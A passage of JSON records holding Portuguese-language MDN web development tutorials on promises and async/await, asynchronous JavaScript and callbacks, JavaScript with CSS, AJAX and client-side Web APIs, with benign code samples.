uma resposta ou lançará um erro\n    const response = await fetch(\n      \"https://mdn.github.io/learning-area/javascript/apis/fetching-data/can-store/products.json\",\n    );\n    if (!response.ok) {\n      throw new Error(`HTTP error: ${response.status}`);\n    }\n    // após esta linha, nossa função irá esperar que a chamada `response.json()` seja resolvida\n    // a chamada `response.json()` retornará o objeto JSON processado ou gerará um erro\n    const data = await response.json();\n    console.log(data[0].name);\n  } catch (error) {\n    console.error(`Não foi possível obter os produtos: ${error}`);\n  }\n}\n\nfetchProducts();\n```\n\n\nAqui, estamos chamando `await fetch()`, e ao invés de obter uma `Promise`, nosso chamador recebe de volta um objeto `Response` totalmente completo, como se `fetch()` fosse uma função síncrona!\n\nPodemos até usar um bloco `try...catch` para tratamento de erros, exatamente como faríamos se o código fosse síncrono.\n\nObserve, porém, que as funções assíncronas sempre retornam uma promise, então você não pode fazer algo como:\n\n\n```js\nasync function fetchProducts() {\n  try {\n    const response = await fetch(\n      \"https://mdn.github.io/learning-area/javascript/apis/fetching-data/can-store/products.json\",\n    );\n    if (!response.ok) {\n      throw new Error(`HTTP error: ${response.status}`);\n    }\n    const data = await response.json();\n    return data;\n  } catch (error) {\n    console.error(`Não foi possível obter os produtos: ${error}`);\n  }\n}\nconst promise = fetchProducts();\nconsole.log(promise[0].name); // \"promise\" é um objeto Promise, então isso não funcionará\n```\n\n\nEm vez disso, você precisaria fazer algo como:\n\n\n```js\nasync function fetchProducts() {\n  try {\n    const response = await fetch(\n      \"https://mdn.github.io/learning-area/javascript/apis/fetching-data/can-store/products.json\",\n    );\n    if (!response.ok) {\n      throw new Error(`HTTP error: ${response.status}`);\n    }\n    const data = await response.json();\n    return data;\n  } catch (error) {\n    console.error(`Não foi possível obter os produtos: ${error}`);\n  }\n}\n\nconst promise = fetchProducts();\npromise.then((data) => console.log(data[0].name));\n```\n\n\nAlém disso, observe que você só pode usar `await` dentro de uma função `async`, a menos que seu código esteja em um módulo JavaScript. Isso significa que você não pode fazer isso em um script normal:\n\n\n```js\ntry {\n  // usar await fora de uma função assíncrona só é permitido em um módulo\n  const response = await fetch(\n    \"https://mdn.github.io/learning-area/javascript/apis/fetching-data/can-store/products.json\",\n  );\n  if (!response.ok) {\n    throw new Error(`HTTP error: ${response.status}`);\n  }\n  const data = await response.json();\n  console.log(data[0].name);\n} catch (error) {\n  console.error(`Could not get products: ${error}`);\n}\n```\n\n\nVocê provavelmente usará muito funções `async` onde você poderia usar cadeias de promises, e elas tornam o trabalho com promises muito mais intuitivo.\n\nLembre-se de que, assim como uma cadeia de promises, `await` força operações assíncronas a serem concluídas em série. Isso é necessário se o resultado da próxima operação depender do resultado da última, mas se esse não for o caso, algo como `Promise.all()` terá melhor desempenho.\n\nConclusão\n---------\n\nAs promises são a base da programação assíncrona no JavaScript moderno. Eles tornam mais fácil expressar e raciocinar sobre sequências de operações assíncronas sem retornos de chamada profundamente aninhados e suportam um estilo de tratamento de erros semelhante à instrução síncrona `try...catch`.\n\nAs palavras-chave `async` e `await` facilitam a criação de uma operação a partir de uma série de chamadas de função assíncronas consecutivas, evitando a necessidade de criar cadeias de promises explícitas e permitindo que você escreva um código que se pareça com o código síncrono.\n\nAs promises funcionam nas versões mais recentes de todos os navegadores modernos; o único lugar onde o suporte de promise será um problema é no Opera Mini e IE11 e versões anteriores.\n\nNão abordamos todos os recursos das promises neste artigo, apenas os mais interessantes e úteis. Ao começar a aprender mais sobre promises, você encontrará mais recursos e técnicas.\n\nMuitas APIs da Web modernas são baseadas em promises, incluindo WebRTC, Web Audio API, Media Capture and Streams API (en-US) e muito mais.\n\nVeja também\n-----------\n\n* `Promise()`\n* Using promises\n* We have a problem with promises by Nolan Lawson\n* Let's talk about how to talk about promises\n* Anterior\n* Menu: Asynchronous\n* Próxima  (en-US)"}
{"title":"Introdução ao JavaScript Async - Aprendendo desenvolvimento web","text":"Introdução ao JavaScript Async\n==============================\n\n* Menu: Asynchronous\n* Próxima\n\nNeste artigo, explicaremos o que é programação assíncrona, por que precisamos dela e discutiremos brevemente algumas das maneiras pelas quais as funções assíncronas foram implementadas historicamente em JavaScript.\n\n|  |  |\n| --- | --- |\n| Pré-requisitos: | \n Conhecimento básico de informática, uma compreensão razoável de fundamentos de\n JavaScript, incluindo funções e manipuladores de eventos.\n  |\n| Objetivo: | Para se familiarizar com o que é JavaScript assíncrono, como ele difere do JavaScript síncrono e por que precisamos dele. |\n\nA programação assíncrona é uma técnica que permite que seu programa inicie uma tarefa potencialmente de longa duração e ainda seja capaz de responder a outros eventos enquanto essa tarefa é executada, em vez de ter que esperar até que essa tarefa seja concluída. Uma vez que essa tarefa tenha terminado, seu programa é apresentado com o resultado.\n\nMuitas funções fornecidas pelos navegadores, especialmente as mais interessantes, podem levar muito tempo e, portanto, são assíncronas. Por exemplo:\n\n* Fazendo solicitações HTTP usando `fetch()`\n* Acessar a câmera ou o microfone de um usuário usando `getUserMedia()` (en-US)\n* Pedindo a um usuário para selecionar arquivos usando `showOpenFilePicker()` (en-US)\n\nPortanto, mesmo que você não precise *implementar* suas próprias funções assíncronas com muita frequência, é muito provável que você precise *usá-las* corretamente.\n\nNeste artigo, começaremos analisando o problema com funções síncronas de longa duração, que tornam a programação assíncrona uma necessidade.\n\nProgramação síncrona\n--------------------\n\nConsidere o seguinte código:\n\n\n```js\nconst name = \"Miriam\";\nconst greeting = `Hello, my name is ${name}!`;\nconsole.log(greeting);\n// \"Hello, my name is Miriam!\"\n```\n\n\nEste código:\n\n1. Declara uma string chamada `name`.\n2. Declara outra string chamada `greeting`, que usa `name`.\n3. Emite a saudação para o console JavaScript.\n\nDevemos observar aqui que o navegador efetivamente percorre o programa uma linha de cada vez, na ordem em que o escrevemos. Em cada ponto, o navegador espera que a linha termine seu trabalho antes de seguir para a próxima linha. Tem que fazer isso porque cada linha depende do trabalho feito nas linhas anteriores.\n\nIsso torna este um **programa síncrono**. Ainda seria síncrono mesmo se chamássemos uma função separada, como esta:\n\n\n```js\nfunction makeGreeting(name) {\n  return `Hello, my name is ${name}!`;\n}\n\nconst name = \"Miriam\";\nconst greeting = makeGreeting(name);\nconsole.log(greeting);\n// \"Hello, my name is Miriam!\"\n```\n\n\nAqui, `makeGreeting()` é uma **função síncrona** porque o chamador precisa esperar que a função termine seu trabalho e retorne um valor antes que o chamador possa continuar.\n\n### Uma função síncrona de longa duração\n\nE se a função síncrona demorar muito?\n\nO programa abaixo usa um algoritmo muito ineficiente para gerar vários números primos grandes quando um usuário clica no botão \"Gerar primos\". Quanto maior o número de primos que um usuário especificar, mais tempo a operação levará.\n\n\n```html\n<label for=\"quota\">Número de primos:</label>\n<input type=\"text\" id=\"quota\" name=\"quota\" value=\"1000000\" />\n\n<button id=\"generate\">Gerar primos</button>\n<button id=\"reload\">Recarregar</button>\n\n<div id=\"output\"></div>\n```\n\n\n\n```js\nconst MAX\\_PRIME = 1000000;\n\nfunction isPrime(n) {\n  for (let i = 2; i <= Math.sqrt(n); i++) {\n    if (n % i === 0) {\n      return false;\n    }\n  }\n  return n > 1;\n}\n\nconst random = (max) => Math.floor(Math.random() \\* max);\n\nfunction generatePrimes(quota) {\n  const primes = [];\n  while (primes.length < quota) {\n    const candidate = random(MAX\\_PRIME);\n    if (isPrime(candidate)) {\n      primes.push(candidate);\n    }\n  }\n  return primes;\n}\n\nconst quota = document.querySelector(\"#quota\");\nconst output = document.querySelector(\"#output\");\n\ndocument.querySelector(\"#generate\").addEventListener(\"click\", () => {\n  const primes = generatePrimes(quota.value);\n  output.textContent = `Finished generating ${quota.value} primes!`;\n});\n\ndocument.querySelector(\"#reload\").addEventListener(\"click\", () => {\n  document.location.reload();\n});\n```\n\n\nTente clicar em \"Gerar primos\". Dependendo da velocidade do seu computador, provavelmente levará alguns segundos até que o programa exiba a mensagem \"Concluído!\" mensagem.\n\n### O problema com funções síncronas de longa duração\n\nO próximo exemplo é igual ao anterior, exceto que adicionamos uma caixa de texto para você digitar. Desta vez, clique em \"Gerar números primos\" e tente digitar na caixa de texto imediatamente depois.\n\nVocê verá que enquanto nossa função `generatePrimes()` está sendo executado, nosso programa não responde: você não pode digitar nada, clicar em nada ou fazer qualquer outra coisa.\n```\n\n<label for=\"quota\">Number of primes:</label>\n<input type=\"text\" id=\"quota\" name=\"quota\" value=\"1000000\" />\n\n<button id=\"generate\">Gerar primos</button>\n<button id=\"reload\">Recarregar</button>\n\n<textarea id=\"user-input\" rows=\"5\" cols=\"62\">\nTente digitar aqui imediatamente após pressionar \"Gerar primos\"\n</textarea>\n\n<div id=\"output\"></div>\n```\n\n\n```\ntextarea {\n  display: block;\n  margin: 1rem 0;\n}\n```\n\n\n```\nconst MAX\\_PRIME = 1000000;\n\nfunction isPrime(n) {\n  for (let i = 2; i <= Math.sqrt(n); i++) {\n    if (n % i === 0) {\n      return false;\n    }\n  }\n  return n > 1;\n}\n\nconst random = (max) => Math.floor(Math.random() \\* max);\n\nfunction generatePrimes(quota) {\n  const primes = [];\n  while (primes.length < quota) {\n    const candidate = random(MAX\\_PRIME);\n    if (isPrime(candidate)) {\n      primes.push(candidate);\n    }\n  }\n  return primes;\n}\n\nconst quota = document.querySelector(\"#quota\");\nconst output = document.querySelector(\"#output\");\n\ndocument.querySelector(\"#generate\").addEventListener(\"click\", () => {\n  const primes = generatePrimes(quota.value);\n  output.textContent = `Terminou de gerar ${quota.value} primos!`;\n});\n\ndocument.querySelector(\"#reload\").addEventListener(\"click\", () => {\n  document.location.reload();\n});\n```\n\n\nEste é o problema básico com funções síncronas de longa duração. O que precisamos é de uma maneira para o nosso programa:\n\n1. Inicie uma operação de longa duração chamando uma função.\n2. Faça com que essa função inicie a operação e retorne imediatamente, para que nosso programa ainda possa responder a outros eventos.\n3. Notifique-nos com o resultado da operação quando ela for concluída.\n\nIsso é precisamente o que as funções assíncronas podem fazer. O restante deste módulo explica como eles são implementados em JavaScript.\n\nManipuladores de eventos\n------------------------\n\nA descrição que acabamos de ver de funções assíncronas pode lembrá-lo de manipuladores de eventos e, se isso acontecer, você estará certo. Os manipuladores de eventos são realmente uma forma de programação assíncrona: você fornece uma função (o manipulador de eventos) que será chamada, não imediatamente, mas sempre que o evento ocorrer. Se \"o evento\" for \"a operação assíncrona foi concluída\", esse evento poderá ser usado para notificar o chamador sobre o resultado de uma chamada de função assíncrona.\n\nAlgumas APIs assíncronas iniciais usavam eventos exatamente dessa maneira. A API `XMLHttpRequest` permite que você faça solicitações HTTP para um servidor remoto usando JavaScript. Como isso pode levar muito tempo, é uma API assíncrona e você é notificado sobre o andamento e a eventual conclusão de uma solicitação anexando ouvintes de eventos ao objeto `XMLHttpRequest`.\n\nO exemplo a seguir mostra isso em ação. Pressione \"Clique para iniciar a solicitação\" para enviar uma solicitação. Criamos um novo `XMLHttpRequest` e ouvimos seu evento `loadend` (en-US). O manipulador registra um \"Concluído!\" mensagem junto com o código de status.\n\nDepois de adicionar o ouvinte do evento, enviamos a solicitação. Observe que, depois disso, podemos registrar \"Requisição XHR iniciada\": ou seja, nosso programa pode continuar em execução enquanto a solicitação estiver em andamento, e nosso manipulador de eventos será chamado quando a solicitação for concluída.\n\n\n```html\n<button id=\"xhr\">Clique para iniciar a solicitação</button>\n<button id=\"reload\">Recarregar</button>\n\n<pre readonly class=\"event-log\"></pre>\n```\n\n\n```\npre {\n  display: block;\n  margin: 1rem 0;\n}\n```\n\n\n\n```js\nconst log = document.querySelector(\".event-log\");\n\ndocument.querySelector(\"#xhr\").addEventListener(\"click\", () => {\n  log.textContent = \"\";\n\n  const xhr = new XMLHttpRequest();\n\n  xhr.addEventListener(\"loadend\", () => {\n    log.textContent = `${log.textContent}Concluído com status: ${xhr.status}`;\n  });\n\n  xhr.open(\n    \"GET\",\n    \"https://raw.githubusercontent.com/mdn/content/main/files/en-us/\\_wikihistory.json\",\n  );\n  xhr.send();\n  log.textContent = `${log.textContent}Iniciada solicitação XHR\\n`;\n});\n\ndocument.querySelector(\"#reload\").addEventListener(\"click\", () => {\n  log.textContent = \"\";\n  document.location.reload();\n});\n```\n\n\nIsso é exatamente como os manipuladores de eventos que encontramos em um módulo anterior, exceto que, em vez de o evento ser uma ação do usuário, como o usuário clicar um botão, o evento é uma mudança no estado de algum objeto.\n\nManipuladores de eventos\n------------------------\n\nUm manipulador de eventos é um tipo específico de callback. Um callback é apenas uma função que é passada para outra função, com a expectativa de que o callback seja chamado no momento apropriado. Como acabamos de ver, os retornos de chamada costumavam ser a principal forma de implementação de funções assíncronas em JavaScript.\n\nNo entanto, o código baseado em callback pode ficar difícil de entender quando o próprio callback precisa chamar funções que aceitam um callback. Esta é uma situação comum se você precisar realizar alguma operação que se decompõe em uma série de funções assíncronas. Por exemplo, considere o seguinte:\n\n\n```js\nfunction doStep1(init) {\n  return init + 1;\n}\n\nfunction doStep2(init) {\n  return init + 2;\n}\n\nfunction doStep3(init) {\n  return init + 3;\n}\n\nfunction doOperation() {\n  let result = 0;\n  result = doStep1(result);\n  result = doStep2(result);\n  result = doStep3(result);\n  console.log(`result: ${result}`);\n}\n\ndoOperation();\n```\n\n\nAqui temos uma única operação que é dividida em três etapas, onde cada etapa depende da última etapa. Em nosso exemplo, a primeira etapa adiciona 1 à entrada, a segunda adiciona 2 e a terceira adiciona 3. Começando com uma entrada de 0, o resultado final é 6 (0 + 1 + 2 + 3). Como um programa síncrono, isso é muito simples. Mas e se implementássemos as etapas usando retornos de chamada?\n\n\n```js\nfunction doStep1(init, callback) {\n  const result = init + 1;\n  callback(result);\n}\n\nfunction doStep2(init, callback) {\n  const result = init + 2;\n  callback(result);\n}\n\nfunction doStep3(init, callback) {\n  const result = init + 3;\n  callback(result);\n}\n\nfunction doOperation() {\n  doStep1(0, (result1) => {\n    doStep2(result1, (result2) => {\n      doStep3(result2, (result3) => {\n        console.log(`result: ${result3}`);\n      });\n    });\n  });\n}\n\ndoOperation();\n```\n\n\nComo temos que chamar callbacks dentro de callbacks, obtemos uma função `doOperation()` profundamente aninhada, que é muito mais difícil de ler e depurar. Isso às vezes é chamado de \"inferno de callback\" ou \"pirâmide da desgraça\" (porque o recuo parece uma pirâmide de lado).\n\nQuando aninhamos callbacks como este, também pode ficar muito difícil lidar com erros: muitas vezes você precisa lidar com erros em cada nível da \"pirâmide\", em vez de lidar com erros apenas uma vez no nível superior.\n\nPor esses motivos, as APIs assíncronas mais modernas não usam retornos de chamada. Em vez disso, a base da programação assíncrona em JavaScript é a `Promise`, e esse é o assunto do próximo artigo.\n\n* Menu: Asynchronous\n* Próxima"}
{"title":"JavaScript e CSS - Aprendendo desenvolvimento web","text":"JavaScript e CSS\n================\n\nEsta é a primeira sessão da Parte II do Tutorial de CSS. A parte II contém alguns exemplos que mostram o escopo do CSS usado com outras tecnologias web e Mozilla.\n\nCada página da Parte II ilustra como o CSS interage com outras tecnologias. Essas páginas não destinam-se a ensiná-lo como usar outras tecnologias. Para aprender sobre elas com detalhes, vá para os outros tutoriais.\n\nEm vez disso, estas páginas são usadas para ilustrar os diversos usos do CSS. Para usar estas páginas, você deve ter algum conhecimento de CSS, mas você não precisa de nenhum conhecimento de outras tecnologias.\n\n Sessão Anterior (da Parte I): Media\n Próxima sessão: SVG\n\n### Informação: JavaScript\n\nJavaScript é uma *linguagem de programação*. JavaScript é largamente utilizado para promover interatividade em web sites e aplicações.\n\nJavaScript pode interagir com stylesheets, permitindo a você criar programas que mudam o estilo de um documento de forma dinâmica\n\nHá três formas de fazer isso:\n\n* Trabalhando com lista de documentos de stylesheets — por exemplo: adicionando, removendo ou adicionando um stylesheet.\n* Trabalhando com as regras em uma stylesheet — por exemplo: adicionando, removendo ou modificando uma regra.\n* Trabalhando com um documento individual na DOM — modificando seu estilo independentemente do stylesheets do documento.\n\n| Para mais informações sobre JavaScript, veja a página JavaScript nesta wiki. |\n| --- |\n\n### Ação: Uma demonstração de JavaScript\n\nFaça um novo documento em HTML, `doc5.html`. Copie e cole o conteúdo daqui, tenha certeza de rolar para copiar todo o código:\n\n\n```html\n<!doctype html>\n<html>\n  <head>\n    <title>Mozilla CSS Getting Started - JavaScript demonstration</title>\n    <link rel=\"stylesheet\" type=\"text/css\" href=\"style5.css\" />\n    <script type=\"text/javascript\" src=\"script5.js\"></script>\n  </head>\n\n  <body>\n    <h1>JavaScript sample</h1>\n\n    <div id=\"square\"></div>\n\n    <button type=\"button\" onclick=\"doDemo(this);\">Click Me</button>\n  </body>\n</html>\n```\n\n\nCrie um novo arquivo CSS, `style5.css`. Copie e cole o conteúdo daqui:\n\n\n```css\n/\\*\\*\\* JavaScript demonstration \\*\\*\\*/\n#square {\n  width: 20em;\n  height: 20em;\n  border: 2px inset gray;\n  margin-bottom: 1em;\n}\n\nbutton {\n  padding: 0.5em 2em;\n}\n```\n\n\nCrie um novo arquivo de texto, `script5.js`. Copie e cole o conteúdo daqui:\n\n\n```js\n// JavaScript demonstration\nfunction doDemo(button) {\n  var square = document.getElementById(\"square\");\n  square.style.backgroundColor = \"#fa4\";\n  button.setAttribute(\"disabled\", \"true\");\n  setTimeout(clearDemo, 2000, button);\n}\n\nfunction clearDemo(button) {\n  var square = document.getElementById(\"square\");\n  square.style.backgroundColor = \"transparent\";\n  button.removeAttribute(\"disabled\");\n}\n```\n\n\nAbra o documento no seu Browser e pressione o botão.\n\nEsta wiki não suporta JavaScript nas páginas, então não é possível mostrar uma demonstração aqui. parece algo assim, antes e depois de você pressionar o botão:\n\n|  |  |  |  |\n| --- | --- | --- | --- |\n| \n\n|  |\n| --- |\n| **JavaScript demonstration** |\n\n | \n\n|  |\n| --- |\n| **JavaScript demonstration** |\n\n |\n\n**Nota:** Sobre esta demonstração:\n\n* O documento HTML tem uma folha de estilo anexada, bem como um arquivo de script.\n* O script trabalha com elementos individuais no DOM. Ele modifica o square's style diretamente. Ele modifica o estilo dos botões indiretamente mudando um atributo.\n* Em JavaScript, `document.getElementById(\"square\")` é similar em função ao seletor CSS `#square`.\n* Em JavaScript, `backgroundColor` corresponde à propriedade CSS `background-color`. JavaScript não permite hífens em nomes, então \"camelCase\" é usada no lugar dele.\n* Seu browser tem uma regra built-in CSS para `button[disabled=\"true\"]` ela muda a aparência dos botões quando está disabilitado.\n\n\n| Altere o script para que o quadrado salte 20 cm para a direita quando sua cor mudar e volte para trás quando retornar à cor base. |\n| --- |\n\nVeja a solução deste desafio.\n\nO que vem agora?\n\nSe você teve dificuldade para entender esta página, ou se tem algum comentário sobre ela, por favor, contribua nesta página de Discussão.\n\nNesta demonstração, o documento HTML é vinculado ao script, embora apenas o elemento botão o utilize. ozilla estende CSS para permitir que você associe código JavaScript (assim como conteúdo e outras folhas de estilo) com elementos selecionados. A próxima página demonstra isso: **Ligações XBL**"}
{"title":"AJAX - Aprendendo desenvolvimento web","text":"AJAX\n====\n\n**Primeiros passos** Uma introdução ao AJAX.\n\n**AJAX** é o acrônimo para **JavaScript assíncrono + XML.** Não é exatamente uma tecnologia nova, mas um termo empregado em 2005 por Jesse James Garrett para descrever uma nova forma de utilizar em conjunto algumas tecnologias, incluindo HTML ou XHTML, CSS, JavaScript, DOMl (en-US), XML (en-US), XSLT (en-US), e o mais importante: objeto XMLHttpRequest.\n Quando essas tecnologias são combinadas no modelo AJAX, as aplicações web que a utilizam são capazes de fazer rapidamente atualizações incrementais para a interface do usuário sem recarregar a página inteira do navegador. Isso torna a aplicação mais rápida e sensível às ações do usuário.\n\nEmbora a letra X em AJAX corresponda ao XML, atualmente o JSON é mais utilizado que o XML devido às suas vantagens, como ser mais leve e ser parte do JavaScript. Ambos (JSON e XML) são utilizados para obter informações do pacote no modelo AJAX.\n\nDocumentação\n------------\n\nAJAX: Primeiros passos\n\nEste artigo orientará o básico sobre AJAX e fornecerá dois exemplos para você começar.\n\nAlternate Ajax Techniques\n\nMost articles on Ajax have focused on using XMLHttp as the means to achieving such communication, but Ajax techniques are not limited to just XMLHttp. There are several other methods.\n\nAjax: A New Approach to Web Applications\n\nJesse James Garrett, of adaptive path, wrote this article in February 2005, introducing AJAX and its related concepts.\n\nA Simpler Ajax Path\n\n\"As it turns out, it's pretty easy to take advantage of the XMLHttpRequest object to make a web app act more like a desktop app while still using traditional tools like web forms for collecting user input.\"\n\nFixing the Back Button and Enabling Bookmarking for AJAX Apps\n\nMike Stenhouse has penned this article, detailing some methods you can use to fix back button and bookmarking issues when developing AJAX applications.\n\nAjax Mistakes\n\nAlex Bosworth has written this article outlining some of the mistakes AJAX application developers can make.\n\nHTML no XMLHttpRequest (en-US)\n\nMDN guide\n\nEspecificação XMLHttpRequest\n\nW3C Working draft\n\nOutros recursos\n\nOutros recursos do AJAX que podem ser úteis.\n\nFerramentas\n-----------\n\n* Toolkits and frameworks\n* Firebug - Ajax/Web development tool\n* AJAX Debugging Tool\n* Flash/AJAX Integration Kit\n* A Simple XMLHTTP Interface Library\nExemplos\n--------\n\n* AJAX poller script\n* Ajax Chat Tutorial\n* RSS Ticker with AJAX\n* AJAX Login System using XMLHttpRequest\n* Create your own Ajax effects\n* AJAX: Creating Huge Bookmarklets\n* AJAX: Hot!Ajax There are many cool examples\nTópicos relacionados\n--------------------\n\nHTML, XHTML, CSS, DOM (en-US), JavaScript, XML (en-US), XMLHttpRequest, XSLT (en-US), DHTML, Canvas"}
{"title":"Introdução às Web APIs - Aprendendo desenvolvimento web","text":"Introdução às Web APIs\n======================\n\n* Menu: Client-side web APIs\n* Próxima\n\nPrimeiro, vamos ver as APIs a partir de um nível mais alto: o que são, como funcionam, como usá-las em seu código e como são estruturadas? Ainda, vamos entender quais são as principais classes de APIs e quais usos elas possuem.\n\n|  |  |\n| --- | --- |\n| Pré-requisitos: | \n Conhecimentos básicos de computação,\n HTML,\n CSS e JavaScript (veja\n primeiros passos,\n elementos construtivos\n e\n introdução a objetos).\n  |\n| Objetivo: | \n Familiarizar-se com APIs, o que elas podem fazer, e como usá-las em seu\n código.\n  |\n\nO que são APIs?\n---------------\n\nAs APIs (Application Programming Interfaces) são construções disponíveis nas linguagens de programação que permitem a desenvolvedores criar funcionalidades complexas mais facilmente. Tais construções abstraem o código mais complexo, proporcionando o uso de sintaxes mais simples em seu lugar.\n\nPense no seguinte exemplo: o uso de energia elétrica em sua casa ou apartamento. Quando você deseja utilizar um eletrodoméstico, você precisa somente ligar o aparelho na tomada. Não é preciso conectar diretamente o fio do aparelho diretamente na caixa de luz. Isso seria, além de muito ineficiente, difícil e perigoso de ser feito (caso você não seja eletricista).\n\n![](/pt-BR/docs/Learn/JavaScript/Client-side_web_APIs/Introduction/plug-socket.png)\n\n*Fonte da imagem: Overloaded plug socket por The Clear Communication People, retirado do Flickr.*\n\nDa mesma forma, caso você queira programar gráficos em 3D, é muito mais fácil usar uma API escrita em linguagem de alto nível como JavaScript ou Python, do que escrever em código de mais baixo nível (C ou C++) que controla diretamente a GPU ou outras funções gráficas.\n\n**Nota:** para mais informações, consulte o termo API no glossário.\n\n### APIs JavaScript client-side\n\nA linguagem JavaScript, especialmente client-side, possui diversas APIs disponíveis. Elas não fazem parte da linguagem em si, mas são escritas sobre o *core* da linguagem JavaScript, fornecendo superpoderes para serem utilizados em seu código. Geralmente, tais APIs fazem parte de uma das seguintes categorias:\n\n* **APIs de navegadores:** fazem parte do seu navegador web, sendo capazes de expor dados do navegador e do ambiente ao redor do computador circundante, além de fazer coisas úteis com esses dados. Por exemplo, a API Web Áudio fornece construções JavaScript simples para manipular áudio em seu navegador - pegar uma faixa de áudio, alterar o volume dela, aplicar efeitos, etc. Por trás dos panos, o navegador utiliza códigos complexos de baixo nível (ex: C++) para realizar o processamento de áudio de fato. Como foi dito anteriormente, essa complexidade toda é abstraída de você pela API.\n* **APIs de terceiros:** geralmente, não fazem parte do navegador e você precisa recuperar seu código e suas informações de outro local da web. A API do Twitter, por exemplo, permite mostrar os seus últimos tweets no seu site. Ela fornece um conjunto de construções especiais para ser usado de maneira a consultar o serviço do Twitter e retornar informações específicas.\n\n![](/pt-BR/docs/Learn/JavaScript/Client-side_web_APIs/Introduction/browser.png)\n\n### Relacionamento entre JavaScript, APIs, e outras ferramentas JavaScript\n\nNa seção anterior, abordamos as APIs JavaScript client-side e como elas se relacionam com a linguagem JavaScript. Esse ponto merece uma revisão e também uma breve menção de como outras ferramentas JavaScript encaixam-se nesse contexto:\n\n* JavaScript — linguagem de alto nível, embutida em navegadores, que permite implementar funcionalidades em páginas web/aplicativos. A linguagem também está disponível em outros ambientes de programação, tais como o Node.\n* APIs de navegadores — construções presentes no navegador, as quais são baseadas em linguagem JavaScript e permitem a implementação de funcionalidades de uma maneira mais fácil.\n* APIs de terceiros — construções presentes em plataformas de terceiros (ex: Twitter, Facebook), que permitem o uso de alguma funcionalidade da plataforma em suas páginas na web. Um exemplo é a possibilidade de mostrar os últimos tweets em sua página.\n* Bibliotecas JavaScript — em geral, um ou mais arquivos JavaScript contendo funções personalizadas, as quais podem ser usadas em sua página web para acelerar ou permitir escrever funcionalidades comuns. Exemplos: jQuery, Mootools e React.\n* Frameworks JavaScript — uma evolução das bibliotecas. Frameworks JavaScript (ex: Angular e Ember), normalmente, são pacotes de tecnologias HTML, CSS, JavaScript e outras, que você instala e usa para escrever uma aplicação web completa do zero. A principal diferença entre uma biblioteca e um framework é a inversão de controle (\"Inversion of Control\"). Quando um método de uma biblioteca é chamado, a pessoa desenvolvedora está no controle. Em um framework, o controle inverte-se: é o framework que chama o código da pessoa desenvolvedora.\nO que as APIs podem fazer?\n--------------------------\n\nExistem muitas APIs disponíveis, nos navegadores modernos, que permitem uma liberdade de ação na hora de codar. Você pode conferir isso na página de referência das APIs da MDN.\n\n### APIs comuns de navegadores\n\nAs categorias mais comuns de APIs de navegadores que você irá utilizar (e que veremos em detalhes neste módulo), são:\n\n* **APIs para manipular documentos** carregados no navegador. O exemplo mais óbvio é a API DOM (Document Object Model), que permite manipular HTML e CSS — criando, removendo a alterando o HTML, aplicando dinamicamente novos estilos a sua página, etc. Toda vez que você vê uma janela pop-up em uma página, ou um novo conteúdo é mostrado, o DOM está em ação. Para saber mais sobre estes tipos de API, leia Manipulando documentos.\n* **APIs** **que buscam dados no servidor** para atualizar pequenas seções da página, por conta própria, são bastante usadas. Isso, a princípio, parece ser um detalhe pequeno, mas tem um impacto enorme na performance e no comportamento dos sites. Se você precisa atualizar a cotação de uma ação ou listar novas histórias disponíveis, a possibilidade de fazer isso instantaneamente sem precisar atualizar a página dá a impressão de um site muito mais responsivo. Entre as APIs que tornam isso possível, podemos destacar o `XMLHttpRequest` e a API Fetch. Você pode também encontrar o termo **Ajax**, que descreve essa técnica. Para saber mais sobre essas APIs, leia Fetching data from the server.\n* **APIs para desenhar e manipular elementos gráficos** são completamente suportados nos browsers — os mais comuns são Canvas e WebGL, que possibilitam que você atualize os dados dos pixels em um elemento HTML de maneira programática. `<canvas>` elemento para criar cenas 2d e 3d. Por exemplo, você poderia dezenhar formas como retangulos e circulos, importar uma imagem para o canvas, e aplicar um filtro para sepia ou grayscale usando o Canvas API, ou criar uma complexa cena 3d com brilho e texturas usando WebGL. Essas APIs são frequentemente combinar com APIs para criar loops de animações(como `window.requestAnimationFrame()`) e outros para constantemente lançar cenas like como cartoons e jogos.\n* **Audio and Video APIs** como `HTMLMediaElement` (en-US), a Web Audio API, e WebRTC permiten a você fazer coisas realmente interessantes com multimedia como a criação personalizada controles de UI para executar audio e video, exibindo faixas de texto como legendas e legendas ocultas junto com seus vídeos, capturando vídeo de sua câmera da web para ser manipulado por meio de uma tela (veja acima) ou exibido no computador de outra pessoa em uma webconferência,ou adicionar efeitos às trilhas de áudio (como ganho, distorção, panorâmica, etc.).\n* **Device APIs** São basicamente APIs para manipulação e recuperação de dados de hardware de dispositivo moderno de uma forma que seja útil para aplicativos da web.Já falamos sobre a Geolocation API acessando o dispositivo dados de localização para que você possa marcar sua posição em um mapa.Outros exemplos incluem informar ao usuário que uma atualização útil está disponível em um aplicativo da web por meio de notificações do sistema(Veja em Notifications API (en-US))ou hardware de vibração(Veja em Vibration API (en-US)).\n* **Client-side storage APIs** estão se tornando muito mais difundidos em navegadores da web - a capacidade de armazenar dados no lado do cliente é muito útil se você quer criar um app que vai salvar seu estado entre carregamentos de página, e talvez até funcione quando o dispositivo estiver offline. Existem várias opções disponíveis, por exemplo, armazenamento simples de nome / valor com o Web Storage API, e armazenamento de dados tabulares mais complexos com o IndexedDB API.\n### APIs comuns de terceiros\n\nAPIs de terceiros são bastante variadas. Dentre as mais populares, que você eventualmente irá utilizar em algum momento, podermos destacar:\n\n* A Twitter API, que permite coisas como mostrar seu últimos tweets no seu website.\n* O Google Maps API permite que você faça todo tipo de coisa com mapas nas suas páginas web (funnily enough, it also powers Google Maps). This is now an entire suite of APIs, which handle a wide variety of tasks, as evidenced by the Google Maps API Picker.\n* The Facebook suite of APIs enables you to use various parts of the Facebook ecosystem to benefit your app, for example by providing app login using Facebook login, accepting in-app payments, rolling out targetted ad campaigns, etc.\n* The YouTube API, which allows you to embed YouTube videos on your site, search YouTube, build playlists, and more.\n* The Twilio API, which provides a framework for building voice and video call functionality into your app, sending SMS/MMS from your apps, and more.\n\n**Nota:** Você pode encontrar informações sobre muitas outras APIs de terceiros no Programmable Web API directory.\n\nComo as APIs funcionam?\n-----------------------\n\nAPIs JavaScript possuem pequenas diferenças mas, em geral, possuem funcionalidades em comum e operam de maneira semelhante.\n\n### Elas são baseadas em objetos\n\nYour code interacts with APIs using one or more JavaScript objects, which serve as containers for the data the API uses (contained in object properties), and the functionality the API makes available (contained in object methods).\n\n**Nota:** If you are not already familiar with how objects work, you should go back and work through our JavaScript objects module before continuing.\n\nLet's return to the example of the Geolocation API — this is a very simple API that consists of a few simple objects:\n\n* `Geolocation`, which contains three methods for controlling the retrieval of geodata.\n* `Position`, which represents the position of a device at a 